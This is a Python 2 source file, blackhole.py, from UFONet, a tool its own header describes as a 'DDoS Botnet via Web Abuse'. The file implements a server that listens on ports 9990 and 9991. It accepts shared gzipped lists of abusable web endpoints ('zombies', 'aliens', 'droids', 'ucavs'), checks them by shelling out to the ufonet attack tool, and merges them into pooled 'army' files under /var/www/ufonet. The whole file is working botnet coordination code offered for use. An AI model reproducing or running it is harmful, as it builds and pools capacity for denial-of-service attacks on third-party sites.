blackhole.py 17 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, re, time, string, sys, urlparse, os, traceback, gzip, shutil, tempfile
  10. from threading import *
  11. class Computer(Thread):
  12. def __init__(self, parent):
  13. Thread.__init__(self)
  14. self.power_on = False
  15. self.parent = parent
  16. self.tmp_dir = parent.tmp_dir
  17. self.target_dir = parent.target_dir
  18. def find_meat(self):
  19. self.meats = []
  20. try:
  21. for f in os.listdir(self.tmp_dir + "blackhole"):
  22. if f[-3:] == '.gz':
  23. print "[Computer] Found meat in "+str(f)
  24. self.meats.append(f)
  25. except:
  26. print "[Computer] No meat in the fridge "+self.tmp_dir + "blackhole"
  27. traceback.print_exc()
  28. return self.meats != []
  29. def process( self ):
  30. zombies_incoming=[]
  31. aliens_incoming=[]
  32. droids_incoming=[]
  33. ucavs_incoming=[]
  34. for meat in self.meats:
  35. f_in = gzip.open(self.tmp_dir+"blackhole/"+meat)
  36. if 'community_zombies.txt.gz' in f_in: # zombies found
  37. f_out = open(self.tmp_dir+'meat.txt', 'wb')
  38. for line in f_in.readlines():
  39. zombies_incoming.append(line)
  40. f_out.write(line.strip()+os.linesep)
  41. f_out.close()
  42. elif 'community_aliens.txt.gz' in f_in: # aliens found
  43. f_out = open(self.tmp_dir+'larva.txt', 'wb')
  44. for line in f_in.readlines():
  45. aliens_incoming.append(line)
  46. f_out.write(line.strip()+os.linesep)
  47. f_out.close()
  48. elif 'community_droids.txt.gz' in f_in: # droids found
  49. f_out = open(self.tmp_dir+'chip.txt', 'wb')
  50. for line in f_in.readlines():
  51. droids_incoming.append(line)
  52. f_out.write(line.strip()+os.linesep)
  53. f_out.close()
  54. elif 'community_ucavs.txt.gz' in f_in: # ucavs found
  55. f_out = open(self.tmp_dir+'arduino.txt', 'wb')
  56. for line in f_in.readlines():
  57. ucavs_incoming.append(line)
  58. f_out.write(line.strip()+os.linesep)
  59. f_out.close()
  60. f_in.close()
  61. os.remove(self.tmp_dir+"blackhole/"+meat)
  62. import subprocess
  63. f_tmp = open(self.tmp_dir + 'meat.tmp','wb')
  64. subprocess.call('../ufonet --force-yes -t "'+self.tmp_dir+'meat.txt"', shell=True, stdout=f_tmp) # testing zombies (GET)
  65. f_tmp.close()
  66. f_tmp = open(self.tmp_dir + 'meat.tmp')
  67. testoutput=f_tmp.read()
  68. f_tmp.close()
  69. if "Not any zombie active" in testoutput:
  70. if not aliens_incoming and not droids_incoming and not ucavs_incoming: # not any valid zombie (GET or POST)
  71. print "[Computer] no valid zombies !"
  72. return
  73. else:
  74. f_tested = open(self.tmp_dir+'meat.txt')
  75. zombies_community = f_tested.readlines()
  76. f_tested.close()
  77. o_in = gzip.open(self.target_dir+'abductions.txt.gz', 'rb')
  78. zombies_army = o_in.readlines()
  79. initial = len(zombies_army)
  80. o_in.close()
  81. for zombie in zombies_community:
  82. if zombie.strip() not in zombies_army:
  83. zombies_army.append(zombie)
  84. else:
  85. pass
  86. fc = gzip.open(self.tmp_dir+'newzombies.txt.gz', 'wb')
  87. for zombie in zombies_army:
  88. fc.write(zombie.strip()+os.linesep)
  89. fc.close()
  90. shutil.move(self.tmp_dir+'newzombies.txt.gz', self.target_dir+'abductions.txt.gz')
  91. print "[Computer] Zombies tested : " +str(len(zombies_community)) + " / initial : " +str(initial) + " / final : " + str(len(zombies_army))
  92. f_tested = open(self.tmp_dir+'larva.txt')
  93. aliens_community = f_tested.readlines()
  94. f_tested.close()
  95. o_in = gzip.open(self.target_dir+'troops.txt.gz', 'rb')
  96. aliens_army = o_in.readlines()
  97. initial = len(aliens_army)
  98. o_in.close()
  99. for alien in aliens_community:
  100. if alien.strip() not in aliens_army:
  101. aliens_army.append(alien)
  102. else:
  103. pass
  104. fc = gzip.open(self.tmp_dir+'newaliens.txt.gz', 'wb')
  105. for alien in aliens_army:
  106. fc.write(alien.strip()+os.linesep)
  107. fc.close()
  108. shutil.move(self.tmp_dir+'newaliens.txt.gz', self.target_dir+'troops.txt.gz')
  109. print "[Computer] Aliens tested : " +str(len(aliens_community)) + " / initial : " +str(initial) + " / final : " + str(len(aliens_army))
  110. f_tested = open(self.tmp_dir+'chip.txt')
  111. droids_community = f_tested.readlines()
  112. f_tested.close()
  113. o_in = gzip.open(self.target_dir+'robots.txt.gz', 'rb')
  114. droids_army = o_in.readlines()
  115. initial = len(droids_army)
  116. o_in.close()
  117. for droid in droids_community:
  118. if droid.strip() not in droids_army:
  119. droids_army.append(droid)
  120. else:
  121. pass
  122. fc = gzip.open(self.tmp_dir+'newdroids.txt.gz', 'wb')
  123. for droid in droids_army:
  124. fc.write(droid.strip()+os.linesep)
  125. fc.close()
  126. shutil.move(self.tmp_dir+'newdroids.txt.gz', self.target_dir+'robots.txt.gz')
  127. print "[Computer] Droids tested : " +str(len(droids_community)) + " / initial : " +str(initial) + " / final : " + str(len(droids_army))
  128. f_tested = open(self.tmp_dir+'arduino.txt')
  129. ucavs_community = f_tested.readlines()
  130. f_tested.close()
  131. o_in = gzip.open(self.target_dir+'drones.txt.gz', 'rb')
  132. ucavs_army = o_in.readlines()
  133. initial = len(ucavs_army)
  134. o_in.close()
  135. for ucav in ucavs_community:
  136. if ucav.strip() not in ucavs_army:
  137. ucavs_army.append(ucav)
  138. else:
  139. pass
  140. fc = gzip.open(self.tmp_dir+'newucavs.txt.gz', 'wb')
  141. for ucav in ucavs_army:
  142. fc.write(ucav.strip()+os.linesep)
  143. fc.close()
  144. shutil.move(self.tmp_dir+'newucavs.txt.gz', self.target_dir+'drones.txt.gz')
  145. print "[Computer] Drones tested : " +str(len(ucavs_community)) + " / initial : " +str(initial) + " / final : " + str(len(ucavs_army))
  146. def run(self):
  147. self.power_on = True
  148. print "[Computer] Power On"
  149. while self.power_on :
  150. # load list of files to process
  151. if self.find_meat():
  152. # if data -> process
  153. self.process()
  154. time.sleep(5)
  155. print "[Computer] Power Off"
  156. class BlackRay(Thread):
  157. def __init__(self, parent):
  158. Thread.__init__(self)
  159. self.parent = parent
  160. self.active = False
  161. self.sock = None
  162. self.shining = False
  163. def run( self ):
  164. conn = None
  165. addr = None
  166. self.sock = self.parent.try_bind(9991)
  167. if self.sock is not None:
  168. self.sock.listen(1)
  169. print '[BlackRay] Emitting on port 9991'
  170. self.shining = True
  171. else:
  172. print '[BlackRay ERROR] Failed to emit on port 9991'
  173. while self.shining:
  174. try:
  175. conn,addr = self.sock.accept()
  176. print '[BlackRay] Got connection from', addr
  177. except socket.timeout:
  178. pass
  179. except socket.error, e:
  180. if self.shining == False:
  181. print "[BlackRay] Socket Error /return : "+str(e)
  182. return
  183. else:
  184. print "[BlackRay] Socket Error /break : "+str(e)
  185. break
  186. else:
  187. data = conn.recv(1024)
  188. if data :
  189. if data[0:4] == "SEND" :
  190. print "[BlackRay] Meat ready : "+data[5:]
  191. conn.close()
  192. print '[BlackRay] End of emission'
  193. self.sock.close()
  194. class Eater(Thread):
  195. def __init__(self, client, parent):
  196. Thread.__init__(self)
  197. self.client = client
  198. self.parent = parent
  199. def run(self):
  200. print '[Eater] Yum... got meat'
  201. zombie_meat = "community_zombies.txt.gz"
  202. alien_meat = "community_aliens.txt.gz"
  203. droid_meat = "community_droids.txt.gz"
  204. ucav_meat = "community_ucavs.txt.gz"
  205. while 1:
  206. data = self.client.recv(1024)
  207. if not data:
  208. break
  209. if zombie_meat in data: # get zombies
  210. r = re.compile(".*("+zombie_meat+").*") # regex magics
  211. meat_type = r.search(data)
  212. m = meat_type.group(1)
  213. f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
  214. f.write(data)
  215. print '\n[Eater] Got "%s Closing media transfer"' % f.name
  216. f.close()
  217. elif alien_meat in data: # get aliens
  218. r = re.compile(".*("+alien_meat+").*") # regex magics
  219. meat_type = r.search(data)
  220. m = meat_type.group(1)
  221. f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
  222. f.write(data)
  223. print '\n[Eater] Got "%s Closing media transfer"' % f.name
  224. f.close()
  225. elif droid_meat in data: # get zombies
  226. r = re.compile(".*("+droid_meat+").*") # regex magics
  227. meat_type = r.search(data)
  228. m = meat_type.group(1)
  229. f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
  230. f.write(data)
  231. print '\n[Eater] Got "%s Closing media transfer"' % f.name
  232. f.close()
  233. elif ucav_meat in data: # get ucavs
  234. r = re.compile(".*("+ucav_meat+").*") # regex magics
  235. meat_type = r.search(data)
  236. m = meat_type.group(1)
  237. f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
  238. f.write(data)
  239. print '\n[Eater] Got "%s Closing media transfer"' % f.name
  240. f.close()
  241. self.client.close()
  242. self.parent.eater_full(self)
  243. class Absorber(Thread):
  244. def __init__(self, parent):
  245. Thread.__init__(self)
  246. self.parent = parent
  247. self.overflow = True
  248. self._eaters = []
  249. self.tmp_dir = parent.tmp_dir
  250. self.sock = False
  251. def run( self ):
  252. self.sock = self.parent.try_bind(9990)
  253. if self.sock is not None:
  254. self.sock.listen(1)
  255. print '[Absorber] Ready to feed on port 9990'
  256. self.overflow = False
  257. else:
  258. print '[Absorber ERROR] Failed to listen on port 9990'
  259. while not self.overflow:
  260. try:
  261. conn,addr = self.sock.accept()
  262. print '[Absorber] Got connection from', addr
  263. except socket.timeout:
  264. pass
  265. except socket.error, e:
  266. if self.hungry == False:
  267. print "[Absorber] Socket Error /return : "+str(e)
  268. return
  269. else:
  270. print "[Absorber] Socket Error /break : "+str(e)
  271. break
  272. else:
  273. t = Eater(conn, self)
  274. t.start()
  275. self._eaters.append(t)
  276. self.sock.close()
  277. print '[Absorber] Dinner time is over'
  278. def eater_full(self, _thread):
  279. self._eaters.remove(_thread)
  280. class BlackHole ( Thread ):
  281. def __init__(self):
  282. Thread.__init__( self )
  283. self.daemon = True
  284. self.awake = True
  285. self.tmp_dir = "/tmp/"
  286. self.target_dir = '/var/www/ufonet/'
  287. self.blackray = None
  288. self.absorber = None
  289. self.computer = None
  290. def dream(self):
  291. if not os.path.exists(self.target_dir+"abductions.txt.gz"):
  292. abductions_fail = 0
  293. try:
  294. fc = gzip.open(self.target_dir+'abductions.txt.gz', 'wb')
  295. fc.close()
  296. except:
  297. print "[Error] not abductions.txt.gz file in "+self.target_dir
  298. abductions_fail = abductions_fail + 1
  299. else:
  300. abductions_fail = 0
  301. if not os.path.exists(self.target_dir+"troops.txt.gz"):
  302. troops_fail = 0
  303. try:
  304. fc = gzip.open(self.target_dir+'troops.txt.gz', 'wb')
  305. fc.close()
  306. except:
  307. print "[Error] not troops.txt.gz file in "+self.target_dir
  308. troops_fail = troops_fail + 1
  309. else:
  310. troops_fail = 0
  311. if not os.path.exists(self.target_dir+"robots.txt.gz"):
  312. robots_fail = 0
  313. try:
  314. fc = gzip.open(self.target_dir+'robots.txt.gz', 'wb')
  315. fc.close()
  316. except:
  317. print "[Error] not robots.txt.gz file in "+self.target_dir
  318. robots_fail = robots_fail + 1
  319. else:
  320. robots_fail = 0
  321. if not os.path.exists(self.target_dir+"drones.txt.gz"):
  322. drones_fail = 0
  323. try:
  324. fc = gzip.open(self.target_dir+'drones.txt.gz', 'wb')
  325. fc.close()
  326. except:
  327. print "[Error] not drones.txt.gz file in "+self.target_dir
  328. drones_fail = drones_fail + 1
  329. else:
  330. drones_fail = 0
  331. if not os.access(self.target_dir+"abductions.txt.gz",os.W_OK):
  332. print "[Error] write access denied for abductions file in "+self.target_dir
  333. abductions_fail = abductions_fail + 1
  334. if not os.access(self.target_dir+"troops.txt.gz",os.W_OK):
  335. print "[Error] write access denied for troops file in "+self.target_dir
  336. troops_fail = troops_fail + 1
  337. if not os.access(self.target_dir+"robots.txt.gz",os.W_OK):
  338. print "[Error] write access denied for robots file in "+self.target_dir
  339. robots_fail = robots_fail + 1
  340. if not os.access(self.target_dir+"drones.txt.gz",os.W_OK):
  341. print "[Error] write access denied for drones file in "+self.target_dir
  342. drones_fail = drones_fail + 1
  343. if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0:
  344. print "[Error] cannot found any zombies container. Aborting..."
  345. print "[Info] suspend blackhole with: Ctrl+z"
  346. sys.exit(2)
  347. if self.consume():
  348. os.mkdir(self.tmp_dir + "blackhole")
  349. else:
  350. print "[Blackhole Error] unable to consume in "+self.tmp_dir+"blackhole..."
  351. sys.exit(2)
  352. if not os.path.isdir(self.tmp_dir + "blackhole"):
  353. print "[Blackhole Error] unable to create "+self.tmp_dir+"blackhole..."
  354. sys.exit(2)
  355. self.blackray = BlackRay(self)
  356. self.absorber = Absorber(self)
  357. self.computer = Computer(self)
  358. self.awake = False
  359. print "[Blackhole] Having sweet dreams..."
  360. def consume(self):
  361. if os.path.isdir(self.tmp_dir + "blackhole"):
  362. try:
  363. shutil.rmtree(self.tmp_dir + "blackhole")
  364. except OSError, e:
  365. print "[Blackhole Error] unable to consume : " + str(e)
  366. return False
  367. return True
  368. def try_bind(self, port):
  369. s=None
  370. try:
  371. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  372. s.settimeout(10)
  373. s.bind(('', port))
  374. except socket.error as e:
  375. if e.errno == 98: # if is in use wait a bit and retry
  376. time.sleep(3)
  377. return self.try_bind(port)
  378. print("[Blackhole Warning] socket busy, connection failed on port " + str(port))
  379. return s
  380. def run(self):
  381. self.dream()
  382. try:
  383. self.blackray.start()
  384. self.absorber.start()
  385. self.computer.start()
  386. if not self.blackray.shining or self.absorber.overflow or not self.computer.power_on:
  387. print "[BlackHole] Advancing time in another space (waiting for server)"+os.linesep
  388. time.sleep(1)
  389. while not self.blackray.shining or self.absorber.overflow or not self.computer.power_on:
  390. time.sleep(1)
  391. print "\n[BlackHole] all up and running"
  392. while self.blackray.shining and not self.absorber.overflow and self.computer.power_on:
  393. time.sleep(1)
  394. except:
  395. traceback.print_exc()
  396. self.awaken()
  397. print "[Blackhole] Lifespan is up..."
  398. def collapse(self):
  399. self.blackray.shining = False
  400. self.absorber.overflow = True
  401. self.computer.power_on = False
  402. self.computer.join()
  403. self.blackray.join()
  404. self.absorber.join()
  405. def awaken(self):
  406. self.consume()
  407. self.collapse()
  408. self.awake = True
  409. if __name__ == "__main__":
  410. try:
  411. print("\nInitiating void generation sequence...\n")
  412. print '='*22 + '\n'
  413. app = BlackHole()
  414. app.start()
  415. while True: time.sleep(1)
  416. except KeyboardInterrupt:
  417. print("\nTerminating void generation sequence...\n")
  418. app.collapse()
  419. except Exception, e:
  420. traceback.print_exc()
  421. print ("\n[Error] - Something wrong creating blackhole...!\n")